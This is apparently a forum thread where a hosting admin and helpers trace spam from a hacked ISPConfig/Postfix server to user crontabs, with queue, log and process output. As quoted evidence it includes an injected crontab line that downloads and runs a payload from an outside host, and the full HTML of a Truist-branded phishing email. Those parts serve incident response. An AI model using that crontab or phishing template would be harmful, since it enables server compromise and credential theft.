Hello, My email server got hacked and it's sending spam all the time. I can no longer send or receive emails. I tried everything, I even locked all of my clients (disabled all webs etc.) to see if there's a php script sending that spam, but nothing worked. The only thing that works is stoping postfix service. I think one solution would be to reset the postfix installation, but I'm not sure about the right procedure. This is what's inside the mail log Code: Oct 20 04:04:40 servidor1 postfix/smtp[11684]: 3CFA2F43BBB: to=<[email protected]>, relay=127.0.0.1[127.0.0.1]:10024, conn_use=68, delay=51311, delays=1.1/51305/0/4.3, dsn=5.7.1, status=bounced (host 127.0.0.1[127.0.0.1] said: 554 5.7.1 id=11476-01-68 - Rejected by next-hop MTA on relaying, from MTA(smtp:[127.0.0.1]:10025): 554 5.7.1 <[email protected]>: Sender address rejected: Access denied (in reply to end of DATA command)) Oct 20 04:04:40 servidor1 postfix/cleanup[11722]: 615BE16061B1: message-id=<[email protected]> Oct 20 04:04:40 servidor1 postfix/bounce[11336]: 2C86AF43BBC: sender non-delivery notification: 615BE16061B1 Oct 20 04:04:40 servidor1 postfix/qmgr[2494]: 2C86AF43BBC: removed Oct 20 04:04:40 servidor1 postfix/qmgr[2494]: C8C76EEA4ED: from=<[email protected]>, size=5738, nrcpt=1 (queue active) Oct 20 04:04:40 servidor1 postfix/pickup[4931]: C1973160619F: uid=5030 from=<[email protected]> Oct 20 04:04:40 servidor1 postfix/cleanup[11785]: C1973160619F: message-id=<[email protected]> Oct 20 04:04:40 servidor1 postfix/pickup[4931]: D19D416061B2: uid=5030 from=<[email protected]> Oct 20 04:04:40 servidor1 postfix/cleanup[11341]: D19D416061B2: message-id=<[email protected]>
What kind of system installation or control panel and setup do you use on this server? The problem is most likely not related to your postfix setup, so resetting it won't help. That stopping the web server does not solve the issue is an indication that the attacked might have installed a cronjob or permanently running script to send the emails. You can find details on how it is sent by looking at the mails in the mail queue, especially by looking at the mail headers of the queued mails.
I have an Ubuntu 16.04 server with ISPConfig Version: 3.1dev. I set up Postfix with an SMTP relay service (Mailgun), and this is the information of a spam email sent: Code: { "severity": "temporary", "tags": [], "storage": { "url": "https://sw.api.mailgun.net/v3/domains/email.surempresa.com/messages/AwABBaKwojHIKNJrfipIJJNFiJwt3bd_ZA==", "key": "AwABBaKwojHIKNJrfipIJJNFiJwt3bd_ZA==" }, "delivery-status": { "tls": true, "mx-host": "mail.ingytop.cl", "attempt-no": 8, "description": "", "session-seconds": 5.372747898101807, "retry-seconds": 14400, "code": 454, "message": "4.7.1 <[email protected]>: Relay access denied" }, "recipient-domain": "ingytop.cl", "event": "failed", "campaigns": [], "reason": "generic", "user-variables": {}, "flags": { "is-routed": false, "is-authenticated": true, "is-system-test": false, "is-test-mode": false }, "log-level": "warn", "timestamp": 1635017150.837914, "envelope": { "transport": "smtp", "sender": "", "sending-ip": "69.72.42.11", "targets": "[email protected]" }, "message": { "headers": { "to": "[email protected]", "message-id": "[email protected]", "from": "[email protected] (Mail Delivery System)", "subject": "Undelivered Mail Returned to Sender" }, "attachments": [], "size": 8134 }, "recipient": "[email protected]", "id": "xZgAXix2S_612IxUJWd9OA" }
This does not look like details from an email of your mail queue. run: postqueue -p to get a list of emails in the mail queue. Each mail has a unique alphanumeric id. Note copy one of the id's frame what you suspect to be spam sent by your system and view it#s content with: postcat -q ID where you replace ID with the email ID that you copied from postqueue command. This wills how you the complete mail file inc. headers. The relevant part are the herders as it shows exactly how and by which local user (or remote system) the email was sent.
postqueue -p Code: 496C0294258A* 5736 Tue Oct 19 18:46:37 [email protected] [email protected] E97C7EE8B36* 5730 Tue Oct 19 17:55:17 [email protected] [email protected] E71B4F85CAB* 5728 Tue Oct 19 19:48:11 [email protected] [email protected] 1CBAF15A74BC* 5737 Tue Oct 19 19:04:00 [email protected] [email protected] 33C8515A6387* 5734 Tue Oct 19 23:06:36 [email protected] [email protected] 18F1AA8A3A8* 5730 Tue Oct 19 23:50:29 [email protected] [email protected] 57AED15C517A* 5732 Tue Oct 19 18:59:23 [email protected] [email protected] ^C root@servidor1:~# E97C7EE8B36* 5730 Tue Oct 19 17:55:17 [email protected] [email protected] E71B4F85CAB* 5728 Tue Oct 19 19:48:11 [email protected] [email protected] 1CBAF15A74BC* 5737 Tue Oct 19 19:04:00 [email protected] [email protected] 33C8515A6387* 5734 Tue Oct 19 23:06:36 [email protected] [email protected] 18F1AA8A3A8* 5730 Tue Oct 19 23:50:29 [email protected] [email protected] 57AED15C517A* 5732 Tue Oct 19 18:59:23 [email protected] [email protected] postcat -q 18F1AA8A3A8 Code: *** ENVELOPE RECORDS active/18F1AA8A3A8 *** message_size: 5730 215 1 0 5730 0 content_filter: amavis:[127.0.0.1]:10024 message_arrival_time: Tue Oct 19 20:50:29 2021 create_time: Wed Oct 20 00:08:41 2021 named_attribute: rewrite_context=local sender_fullname: sender: [email protected] *** MESSAGE CONTENTS active/18F1AA8A3A8 *** Received: by servidor1.surempresa.com (Postfix, from userid 5030) id 18F1AA8A3A8; Tue, 19 Oct 2021 20:50:29 -0300 (-03) To: [email protected] Subject: =?UTF-8?B?SW1wb3J0YW50IE1lc3NhZ2UgZnJvbSBCQiZUIEN1c3RvbWVyIFNlcnZpY2XCrg==?= From: =?UTF-8?B?VHJ1aXN0IEFsZXJ0cw==?= <[email protected]> MIME-Version: 1.0; Content-type: multipart/mixed; boundary="--O3pf4LMwMQ" Message-Id: <[email protected]> Date: Tue, 19 Oct 2021 20:50:29 -0300 (-03) ----O3pf4LMwMQ Content-type: text/html; charset="utf-8" Content-Transfer-Encoding: 8bit <table width="90%" align="center" cellpadding="0" class="dynamo" border="0" cellspacing="0" style="font-size: 8pt; font-family: Arial, Helvetica, sans-serif; background: white; border-collapse: collapse;"> <tbody> <tr> <td style="padding: 0in;"> <div align="center"> <table width="100%" cellpadding="0" border="0" cellspacing="0" style="font-size: 8pt; border-collapse: collapse;"> <tbody> <tr> <td style="padding: 0in;"> <div align="center"> <table width="100%" cellpadding="0" border="0" cellspacing="0" style="font-size: 8pt; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; border-collapse: collapse;"> <tbody> <tr> <td style="border-style: solid; border-color: rgb(201, 201, 201); border-width: 1px; padding: 0in;"> <table width="100%" cellpadding="0" border="0" cellspacing="0" style="font-size: 8pt; border-collapse: collapse;"> <tbody> <tr style="height: 60pt;"> <td width="100%" style="padding: 0in; height: 60pt;"><img height="Auto" alt="TruistLogo" width="100%" src="https://assets.bbt.com/content/dam/bbt/assets/alerts/images/truist_alerts-header.png" border="0" style="display: block;"></td></tr> <tr> <td align="right" style="font-family: Arial; color: rgb(46, 26, 71); padding-right: 20px; padding-top: 10px; padding-bottom: 10px;"> <p class="article-copy__header" style="margin: 10px 0px; color: rgb(89, 89, 89);"><span style="font-size: 18px; font-weight: bold; font-family: Arial, sans-serif;"> </span><font size="2" face="times new roman"><b>Dear Truist Customer,</b></font></p> <p class="article-copy__header" style="margin: 10px 0px; color: rgb(89, 89, 89);"><font size="2" face="times new roman"><b><br></b></font></p> <br></td></tr> <tr> <td> <table width="100%" cellspacing="0px" style="font-size: 22px; font-family: Arial; color: rgb(46, 26, 71); font-weight: bold;"> <tbody> <tr> <td style="padding-left: 20px; padding-right: 20px;"><font face="times new roman" size="2" style="">Your Online Banking account security have been updated</font></td></tr> <tr style="color: rgb(112, 112, 112); font-size: 12px;"> <td style="padding-left: 20px; padding-right: 20px;"></td></tr></tbody></table></td></tr><tr style="font-family: Arial;"><td colspan="2" border="0" style="color: rgb(124, 105, 146); font-weight: bold; font-size: 18px; padding: 10px 30px 10px 50px;"><table id="main" style="font-size: 14px; width: 484px; line-height: 18px; font-family: Roboto, "color: rgb(17, 17, 17);";"> <tbody> <tr> <td> <table id="greetings" style="font-size: 14px; padding: 12px 0px 0px; line-height: 18px; font-family: Roboto, "color: rgb(17, 17, 17);width: 642px;height: 266px;";"> <tbody> <tr> <td> <table width="600" cellspacing="5" cellpadding="0" border="0"> <tbody> <tr> <td> <table style="padding-top:0px;padding-right:30px;padding-bottom:0px;padding-left:10px;font-family:Arial;color:#333;border:0;border-collapse:collapse;width:600px;"> <tbody> <tr> <td style="padding-top:0px;padding-right:20px;padding-bottom:18px;padding-left:20px;"> <table style="color: rgb(51, 51, 51); border: 0px; border-collapse: collapse;"> <tbody> <tr> <td style="padding: 1px 0px 0px;"><font face="times new roman" size="2"><b>We're writing to let you know that our system detected a slight error in our regular verification process of Online Banking records to complete recent activity.<br style="color: rgb(0, 0, 0);"><br style="color: rgb(0, 0, 0);"><span style="color: rgb(0, 0, 0);">Our system requires account verification for more security and protection to your account. To see how to solve this situation.</span><br> </b></font> <p></p> <p class="normal" style="margin: 0pt; font-variant-numeric: normal; font-variant-east-asian: normal; line-height: 6pt;"><font face="times new roman" size="2"><b> </b></font></p> <ul style="padding: 0px 0px 0px 16px; margin: 1em 0px 1em 24px;" type="disc"> <li class="normal" style="line-height: normal; margin: 0pt 0pt 0pt 36pt; font-variant-numeric: normal; font-variant-east-asian: normal; text-align: left;"><span class="DLSVAR" style="text-indent: -0.249in; margin-top: 0pt; margin-bottom: 0pt;"><font face="times new roman" size="2"><b>Please Log On below to Validate Account Information</b></font></span></li></ul></td></tr></tbody></table></td></tr></tbody></table></td></tr> <tr> <td class="paddTB_15 paddLR_20 paddbotm_hide" style="color: rgb(65, 64, 66); line-height: 22px; padding: 5px 60px 15px;" valign="top" align="center"> <p style=""></p> <div style=""><font size="2" style="" face="times new roman"><em style=""><b><a href="https://iomabe.eu/wp-content/" target="_blank" title="confirmation process" style="">Click here to start the confirmation process</a>.</b></em></font></div></td></tr></tbody></table></td></tr></tbody></table></td></tr> <tr> <td><br></td></tr></tbody></table> </td></tr></tbody></table></td></tr></tbody></table></div></td></tr></tbody></table></div></td></tr></tbody></table> ----O3pf4LMwMQ *** HEADER EXTRACTED active/18F1AA8A3A8 *** named_attribute: encoding=8bit named_attribute: dsn_orig_rcpt=rfc822;[email protected] original_recipient: [email protected] recipient: [email protected] *** MESSAGE FILE END active/18F1AA8A3A8 ***
And is ingytop.cl a website hosted on your system? If yes, which ID does the website has in ISPConfig?
Yes, that's my server. The user is the following: Code: web34:x:5030:5030::/var/www/clients/client26/web34:/bin/false
Ok, then you should check the crontab of that user, it might contain the script which sends the mails: crontab -l -u web34 if you see the script, edit the crontab with: crontab -e -u web34 remove the line, but note down the path of the script first, and then save the empty crontab. Then delete the script that was run by cron. Then check your process list for processes of user web34: ps aux | grep web34 note down script paths, if they are visible. You can also kill all processes run by user web34 to stop the script that sends the email. Then you should scan the server for malware, especially web34. You can e..g use ispprotect (https://ispprotect.com/) for that, the first scan is free, just use license key 'trial'.
And of course, deactivate website 34 for now in ISPconfig,a s we know now that this is the offending site which got hacked. You can empty the mail queue or remove the spam by sender from mail queue, to avoid that they get sent: https://www.faqforge.com/linux/serv...ail-queue-with-postsuper-postqueue-und-mailq/
I didn't find any crontab of that user, but I found many crontabs of other users, which I deleted. They had all the same crontabs. This is an example of a crontab of user web10: Code: * * * * * wget http://hello.turnedpro.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /var/www/cgpalmondalesanpedro.cl/web 602-2 && rm -f xxxd And these are the processes of user web10: Code: root@servidor1:~# ps aux | grep web10 web104 7749 0.5 0.7 421284 64064 ? S 02:35 0:23 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web104 8714 0.5 0.7 421104 63028 ? S 02:41 0:21 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web10 13037 0.1 1.0 422384 86352 ? S 03:11 0:03 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web10 17627 0.4 1.0 420568 87300 ? S 03:32 0:03 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web10 18311 0.2 0.7 414824 57504 ? S 03:37 0:00 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web10 18316 0.0 0.0 54168 5904 ? S 03:37 0:00 pure-ftpd (IDLE) web10 18950 2.2 0.9 421252 75560 ? S 03:41 0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] root 19141 0.0 0.0 15444 984 pts/5 S+ 03:43 0:00 grep --color=auto web10 But I'm not sure how to kill and stop the processes. Should it be Code: kill 7749 , and the same for all of them?
Yes. Yes. Reboot should also get rid of those processes when you have removed the crontabs that started them. Check after reboot the crontab entries did not come back.
The website is on php-fcgi mode, right? if yes, then these are the normal php-fcgi processes when a visitor visits the site. But a restart probably won't hurt after you removed the crontabs. then you should scan the whole server for malware and then take care to update the affected sites. Most likely they use a outdated version of a CMS or cms plugins have not been updated so that an arracker was able to infect the site.
Yes, it's on Fast-CGI mode. Unfortunately, it didn't work and it's still sending spam although I deleted all of the crontabs. I checked every user and the crontabs didn't come back. Same with the normal emails that manage to be sent. When I check the process list, this is what I see: Code: web104 14195 0.4 0.7 422800 64708 ? S 15:41 0:02 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web104 14211 0.2 0.8 422892 67928 ? S 15:41 0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web104 14215 0.3 0.7 421376 63680 ? S 15:41 0:02 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web104 14244 0.2 0.7 423280 65148 ? S 15:41 0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client59/web104/web:/var/www/clients/client59/web104/private:/var/www/clients/client59/web104/tmp:/var/www/apoyotesis.cl/web:/srv/www/apoyotesis.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client59/web104/tmp -d session.save_path=/var/www/clients/client59/web104/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web126 14288 0.8 1.1 430544 95180 ? S 15:41 0:04 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client64/web126/web:/var/www/clients/client64/web126/private:/var/www/clients/client64/web126/tmp:/var/www/navierariocruces.com/web:/srv/www/navierariocruces.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client64/web126/tmp -d session.save_path=/var/www/clients/client64/web126/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web114 14407 0.3 0.9 418412 79116 ? S 15:42 0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client61/web114/web:/var/www/clients/client61/web114/private:/var/www/clients/client61/web114/tmp:/var/www/tum2propiedades.cl/web:/srv/www/tum2propiedades.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client61/web114/tmp -d session.save_path=/var/www/clients/client61/web114/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web1 14473 0.1 0.9 479640 73884 ? S 15:43 0:00 /usr/bin/php-cgi -d open_basedir=/var/www/clients/client1/web1/web:/var/www/clients/client1/web1/private:/var/www/clients/client1/web1/tmp:/var/www/surempresa.com/web:/srv/www/surempresa.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client1/web1/tmp -d session.save_path=/var/www/clients/client1/web1/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web126 14823 0.4 1.0 428556 88924 ? S 15:43 0:02 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client64/web126/web:/var/www/clients/client64/web126/private:/var/www/clients/client64/web126/tmp:/var/www/navierariocruces.com/web:/srv/www/navierariocruces.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client64/web126/tmp -d session.save_path=/var/www/clients/client64/web126/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web14 14972 0.1 0.7 418024 60800 ? S 15:44 0:00 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client11/web14/web:/var/www/clients/client11/web14/private:/var/www/clients/client11/web14/tmp:/var/www/constructoravascal.cl/web:/srv/www/constructoravascal.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client11/web14/tmp -d session.save_path=/var/www/clients/client11/web14/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web127 15010 0.2 0.6 416012 56172 ? S 15:44 0:00 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client66/web127/web:/var/www/clients/client66/web127/private:/var/www/clients/client66/web127/tmp:/var/www/tstchile.com/web:/srv/www/tstchile.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client66/web127/tmp -d session.save_path=/var/www/clients/client66/web127/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web114 15381 0.6 1.0 426860 88760 ? S 15:45 0:02 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client61/web114/web:/var/www/clients/client61/web114/private:/var/www/clients/client61/web114/tmp:/var/www/tum2propiedades.cl/web:/srv/www/tum2propiedades.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client61/web114/tmp -d session.save_path=/var/www/clients/client61/web114/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web10 16144 0.7 0.8 422164 72316 ? S 15:48 0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web10 16146 0.3 0.6 336760 55040 ? S 15:48 0:00 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web10 16147 0.5 0.7 417676 64000 ? S 15:48 0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client7/web10/web:/var/www/clients/client7/web10/private:/var/www/clients/client7/web10/tmp:/var/www/cgpalmondalesanpedro.cl/web:/srv/www/cgpalmondalesanpedro.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client7/web10/tmp -d session.save_path=/var/www/clients/client7/web10/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web1 16277 0.1 0.5 471728 45784 ? S 15:49 0:00 /usr/bin/php-cgi -d open_basedir=/var/www/clients/client1/web1/web:/var/www/clients/client1/web1/private:/var/www/clients/client1/web1/tmp:/var/www/surempresa.com/web:/srv/www/surempresa.com/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client1/web1/tmp -d session.save_path=/var/www/clients/client1/web1/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] web131 16444 2.7 1.1 430172 97624 ? S 15:50 0:01 /opt/php-7.2/bin/php-cgi -d open_basedir=/var/www/clients/client71/web131/web:/var/www/clients/client71/web131/private:/var/www/clients/client71/web131/tmp:/var/www/silanstore.cl/web:/srv/www/silanstore.cl/web:/usr/share/php5:/usr/share/php:/tmp:/usr/share/phpmyadmin:/etc/phpmyadmin:/var/lib/phpmyadmin:/dev/random:/dev/urandom -d upload_tmp_dir=/var/www/clients/client71/web131/tmp -d session.save_path=/var/www/clients/client71/web131/tmp -d sendmail_path=/usr/sbin/sendmail -t -i -f [email protected] root 16576 0.0 0.0 15444 968 pts/8 S+ 15:51 0:00 grep --color=auto web1 I noticed that there are references to the users with the hacked crontabs I deleted. Something strange is that when I change the SMTP relay setup from Mailgun to SocketLabs or Turbo-SMTP, the relay doesn't work and no email is sent. The spam is only sent through Mailgun, as well as the normal emails that manage to be sent after a long time.
This is what I get when I get a list of emails in the mail queue using the Socketlabs SMTP relay: postqueue -p Code: E6A699EE796 8161 Fri Oct 22 09:49:11 MAILER-DAEMON (delivery temporarily suspended: host smtp.socketlabs.com[142.0.179.10] refused to talk to me: 421 4.5.1 Too many errors, you have been temporarily blacklisted.) [email protected]
Finally I fixed it by deleting the whole list of emails in the mail queue. There were thousands of spam emails remaining I guess. I used the following command: Code: postsuper -d ALL Thanks a lot for your help. The hacked crontabs were the problem.
When you have a hacked account/script: Find a ID of one of the mails in the queue with mailq Then check the headers to see how it was sent with postcat -q ID (where ID is the ID of the message). This way you can check wether the email is sent by a authenticated user or a rogue script. Delete all emails from that user in the queue with: Code: mailq | tail -n +2 | awk 'BEGIN { RS = "" } # $7=sender, $8=recipient1, $9=recipient2 { if ($7 == "[email protected]") print $1 } ' | tr -d '*!' | postsuper -d - Where [email protected] is the mailbox that's sending out spam. After that, change the password of the hacked user and start Postfix and Dovecot.
It would be difficult to move from a compromised website (eg. cms) to creating cron jobs (you would have to not use jailkit, and explicitly lower php security settings to do so); doing that for many users/websites on the same server is even less likely - this is more likely an abuse of the ISPConfig interface itself (you said you're running 3.1dev, which is very outdated, with numerous security issues fixed), or possibly compromise of the entire server (the filename/path of the cronjob files would likely indicate which). You should at minimum update ISPConfig to the latest version, but if I were you I'd be building a new up-to-date server and migrate all your data/sites to that. Scan for and clean everything you can prior to moving, and then set the new server to rescan them regularly; ensure you use jailkit for all shell users and even move to php-fpm in chroot mode for your websites.
ISPConfig is not using the users crontab at all, so there was no abuse of the ISPConfig GUI if the cronjobs were in the crontab of a user. ISPConfig is using files in cron.d, which are separate from the users crontab and won't get listed by crontab -l command. The server does not need to be compromised for that and normally it is not compromised. The fact that the commands were in the users crontab is an indication that it was not compromised as the attacker would have used e.g. a root crontab or a less visible way to hide his scripts. As long as the PHP of a website is able to execute programs, then you can add a user crontab. And that's the reason why the attacker used it as it's basically the only way that he can permanently run his script without having to create post or get requests all the time. This type of user crontab infection is quite common when it comes to infected WordPress sites btw., seen it many times when I cleaned infected websites for customers. The only thing that you can do to avoid this are strict PHP settings by disabling all ways to execute commands via exec, passthru etc. for the PHP process of that website, but this might break some websites. Or you use php-fpm chrooting, which might work as well to prevent that.
